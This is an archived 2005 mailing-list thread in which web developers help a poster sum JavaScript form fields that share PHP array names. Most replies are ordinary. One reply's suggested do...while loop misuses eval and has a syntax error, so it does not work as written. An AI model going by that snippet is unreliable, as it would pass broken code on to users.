it wrong. Could you tell me what I did wrong?

Thanks,
steve
 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New Y

Re: [wdvltalk] javascript help

2005-03-09 Thread steve miller
Thanks!
steve
On Mar 9, 2005, at 3:24 PM, Stephen Caudill wrote:
Steve,
I don't get a script error in IE or FF.  It works in IE(6) fine for 
me, but FF does not.  Looking at your script, in the function 
tallyUp(), you may try changing your element acquisition to use an 
eval...

instead of:
while (document.getElementById("singles" + i) != null)
{
...
i += 1;
}
}
see if this does it:
do
{
   var currSingle = eval("singles" + i);
   document.getElementById(currSingle);
   ...
   i+=1;
}
while(document.getElementById(currSingle);
This forces the browser to evaluate your derived variable, which 
should get FF stepping in line.  Of course to be able to eval it, 
you'll have to move your control logic to the end of the loop, which 
is what a do...while is good for.

hth,
Stephen
steve miller wrote:
Howard,
Could you possibly take a look at http://www.dinnys.com/create.html. 
This is a first shot at doing what you suggested, I think!
Please excuse the fact that things don't line up, but...
when I place a number in one of the four boxes in the second col, I 
get a script error that says that one of my ID'd boxes is not an 
object. It certainly is there on the page, but I must be referencing 
it wrong. Could you tell me what I did wrong?
Thanks,
steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


Re: [wdvltalk] javascript help

2005-03-09 Thread steve miller
Howard,
Nevermind...just one of my senior moments. The object didn't exist!
steve
On Mar 8, 2005, at 5:47 PM, Howard Cheng wrote:
You'll want to use IDs to uniquely identify each your text boxes. For 
example, even though the name of the form object is singles[], give 
each one an ID of 'single1', 'single2', etc. Then you can loop through 
them like such:

var i = 1;
var total = 0;
while (document.getElementById("single" + i) != null)
{
total += parseInt(document.getElementById("single" + i).value);
i += 1;
}
Repeat as necessary. Or to be more sophisticated, make an array of 
your form object names so that you can loop through that and in each 
iteration run this while loop.

steve miller wrote:
Hi all.
Could use some help with javascript.
I am loading up a page with a variable number of columns depending on 
selections made on a previous screen. Each column contains identical 
textboxes which have identical names so php will deal with them as 
arrays (like singles[], parents[], children[], etc in this case) when 
submitted. When the page loads, I need to multiply a value from 
another textbox (that is not part of an array) by each of these boxes 
in a column, add the totals up, and enter the final value into yet 
another box. My problem is that I don't know how to reference the 
array boxes in javascript since they all have the same name. I need 
to do it in js so changes can be made and calcs done in the browser.
In other words, how do I tell javascript to use the boxes in col 1 
for the first calc, then move on to the boxes in col 2 for the next 
calc...
There are also a gazillion other textboxes on the same page which are 
not used in the calc, so I don't think I can refernce them using form 
element numbers.
How do i do what I want to do?
steve
--
::
Howard Cheng
http://www.howcheng.com/
Wise-cracking quote goes here.
 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


Re: [wdvltalk] javascript help

2005-03-09 Thread steve miller
Howard,
Could you possibly take a look at http://www.dinnys.com/create.html. 
This is a first shot at doing what you suggested, I think!
Please excuse the fact that things don't line up, but...

when I place a number in one of the four boxes in the second col, I get 
a script error that says that one of my ID'd boxes is not an object. It 
certainly is there on the page, but I must be referencing it wrong. 
Could you tell me what I did wrong?

Thanks,
steve


On Mar 8, 2005, at 5:47 PM, Howard Cheng wrote:
You'll want to use IDs to uniquely identify each your text boxes. For 
example, even though the name of the form object is singles[], give 
each one an ID of 'single1', 'single2', etc. Then you can loop through 
them like such:

var i = 1;
var total = 0;
while (document.getElementById("single" + i) != null)
{
total += parseInt(document.getElementById("single" + i).value);
i += 1;
}
Repeat as necessary. Or to be more sophisticated, make an array of 
your form object names so that you can loop through that and in each 
iteration run this while loop.

steve miller wrote:
Hi all.
Could use some help with javascript.
I am loading up a page with a variable number of columns depending on 
selections made on a previous screen. Each column contains identical 
textboxes which have identical names so php will deal with them as 
arrays (like singles[], parents[], children[], etc in this case) when 
submitted. When the page loads, I need to multiply a value from 
another textbox (that is not part of an array) by each of these boxes 
in a column, add the totals up, and enter the final value into yet 
another box. My problem is that I don't know how to reference the 
array boxes in javascript since they all have the same name. I need 
to do it in js so changes can be made and calcs done in the browser.
In other words, how do I tell javascript to use the boxes in col 1 
for the first calc, then move on to the boxes in col 2 for the next 
calc...
There are also a gazillion other textboxes on the same page which are 
not used in the calc, so I don't think I can refernce them using form 
element numbers.
How do i do what I want to do?
steve
--
::
Howard Cheng
http://www.howcheng.com/
Wise-cracking quote goes here.
 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


Re: [wdvltalk] javascript help

2005-03-08 Thread steve miller
I'll have to give this some thought. The number of elements is a 
variable in that I never know how many text boxes named "singles[]"  
there will be. A script generates them as needed, and once on the page, 
I need to be able to use them for calculations. I guess this means I 
have to place a counter somewhere as they are being generated, and 
write the IDs accordingly.

Food for thought. Thanks.
steve
On Mar 8, 2005, at 5:47 PM, Howard Cheng wrote:
You'll want to use IDs to uniquely identify each your text boxes. For 
example, even though the name of the form object is singles[], give 
each one an ID of 'single1', 'single2', etc. Then you can loop through 
them like such:

var i = 1;
var total = 0;
while (document.getElementById("single" + i) != null)
{
total += parseInt(document.getElementById("single" + i).value);
i += 1;
}
Repeat as necessary. Or to be more sophisticated, make an array of 
your form object names so that you can loop through that and in each 
iteration run this while loop.

steve miller wrote:
Hi all.
Could use some help with javascript.
I am loading up a page with a variable number of columns depending on 
selections made on a previous screen. Each column contains identical 
textboxes which have identical names so php will deal with them as 
arrays (like singles[], parents[], children[], etc in this case) when 
submitted. When the page loads, I need to multiply a value from 
another textbox (that is not part of an array) by each of these boxes 
in a column, add the totals up, and enter the final value into yet 
another box. My problem is that I don't know how to reference the 
array boxes in javascript since they all have the same name. I need 
to do it in js so changes can be made and calcs done in the browser.
In other words, how do I tell javascript to use the boxes in col 1 
for the first calc, then move on to the boxes in col 2 for the next 
calc...
There are also a gazillion other textboxes on the same page which are 
not used in the calc, so I don't think I can refernce them using form 
element numbers.
How do i do what I want to do?
steve
--
::
Howard Cheng
http://www.howcheng.com/
Wise-cracking quote goes here.
 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


Re: [wdvltalk] javascript help

2005-03-08 Thread steve miller
Sorry for being vague.
It means 4*20 + 5*15 + 2*25 + 8*30 = 445
steve
On Mar 8, 2005, at 5:47 PM, Stephen Caudill wrote:
Steve,
Try as I might, I can't seem to wrap my head around what you're trying 
to do here.  It looks like you're saying:

4 singles = 20
5 h/w = 15
2 p/c = 25
8 family  = 30
Total Monthly = 445
I can find no mathematic correlation between any of those numbers.  Am 
I missing something?

- stephen
steve miller wrote:
Stephen,
I just put up the same page but with some inputted numbers in the 2nd 
and 3rd cols to make it a little more clear. I need to be able to do 
the same on the fly with all other cols.
http://www.dinnys.com/create.html
Thanks,
steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


Re: [wdvltalk] javascript help

2005-03-08 Thread steve miller
Stephen,
I just put up the same page but with some inputted numbers in the 2nd 
and 3rd cols to make it a little more clear. I need to be able to do 
the same on the fly with all other cols.

http://www.dinnys.com/create.html
Thanks,
steve

On Mar 8, 2005, at 5:06 PM, Stephen Caudill wrote:
Got an example page posted?
- Stephen
steve miller wrote:
Hi all.
Could use some help with javascript.
I am loading up a page with a variable number of columns depending on 
selections made on a previous screen. Each column contains identical 
textboxes which have identical names so php will deal with them as 
arrays (like singles[], parents[], children[], etc in this case) when 
submitted. When the page loads, I need to multiply a value from 
another textbox (that is not part of an array) by each of these boxes 
in a column, add the totals up, and enter the final value into yet 
another box. My problem is that I don't know how to reference the 
array boxes in javascript since they all have the same name. I need 
to do it in js so changes can be made and calcs done in the browser.
In other words, how do I tell javascript to use the boxes in col 1 
for the first calc, then move on to the boxes in col 2 for the next 
calc...
There are also a gazillion other textboxes on the same page which are 
not used in the calc, so I don't think I can refernce them using form 
element numbers.
How do i do what I want to do?
steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


Re: [wdvltalk] javascript help

2005-03-08 Thread steve miller
Hi Stephen.
Here is a general idea, but the page could have any number of columns:
http://www.dinnys.com/create.html
I need to be able to enter values into the four boxes in the second 
col, multiply them by the values in their own rows, and total the four 
calcs into the boxes in the row called "Total Monthly".

Make sense?
steve
On Mar 8, 2005, at 5:06 PM, Stephen Caudill wrote:
Got an example page posted?
- Stephen
steve miller wrote:
Hi all.
Could use some help with javascript.
I am loading up a page with a variable number of columns depending on 
selections made on a previous screen. Each column contains identical 
textboxes which have identical names so php will deal with them as 
arrays (like singles[], parents[], children[], etc in this case) when 
submitted. When the page loads, I need to multiply a value from 
another textbox (that is not part of an array) by each of these boxes 
in a column, add the totals up, and enter the final value into yet 
another box. My problem is that I don't know how to reference the 
array boxes in javascript since they all have the same name. I need 
to do it in js so changes can be made and calcs done in the browser.
In other words, how do I tell javascript to use the boxes in col 1 
for the first calc, then move on to the boxes in col 2 for the next 
calc...
There are also a gazillion other textboxes on the same page which are 
not used in the calc, so I don't think I can refernce them using form 
element numbers.
How do i do what I want to do?
steve

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: 
mailto:[EMAIL PROTECTED] or
use the web interface 
http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web 
interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk

  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: [EMAIL PROTECTED]
To unsubscribe send a blank email to 
[EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016

Please include the email address which you have been contacted with.

 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: unknown lmsubst tag argument: ''
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


[wdvltalk] javascript help

2005-03-08 Thread steve miller
Hi all.
Could use some help with javascript.
I am loading up a page with a variable number of columns depending on 
selections made on a previous screen. Each column contains identical 
textboxes which have identical names so php will deal with them as 
arrays (like singles[], parents[], children[], etc in this case) when 
submitted. When the page loads, I need to multiply a value from another 
textbox (that is not part of an array) by each of these boxes in a 
column, add the totals up, and enter the final value into yet another 
box. My problem is that I don't know how to reference the array boxes 
in javascript since they all have the same name. I need to do it in js 
so changes can be made and calcs done in the browser.

In other words, how do I tell javascript to use the boxes in col 1 for 
the first calc, then move on to the boxes in col 2 for the next calc...

There are also a gazillion other textboxes on the same page which are 
not used in the calc, so I don't think I can refernce them using form 
element numbers.

How do i do what I want to do?
steve
 • The WDVL Discussion List from WDVL.COM • 
To Join wdvltalk, Send An Email To: mailto:[EMAIL PROTECTED] or
use the web interface http://e-newsletters.internet.com/discussionlists.html/
  Send Your Posts To: wdvltalk@lists.wdvl.com
To change subscription settings, add a password or view the web interface:
http://intm-dl.sparklist.com/read/?forum=wdvltalk
  http://www.wdvl.com  ___
You are currently subscribed to wdvltalk as: archive@jab.org
To unsubscribe send a blank email to [EMAIL PROTECTED]
To unsubscribe via postal mail, please contact us at:
Jupitermedia Corp.
Attn: Discussion List Management
475 Park Avenue South
New York, NY 10016
Please include the email address which you have been contacted with.


  1   2   3   >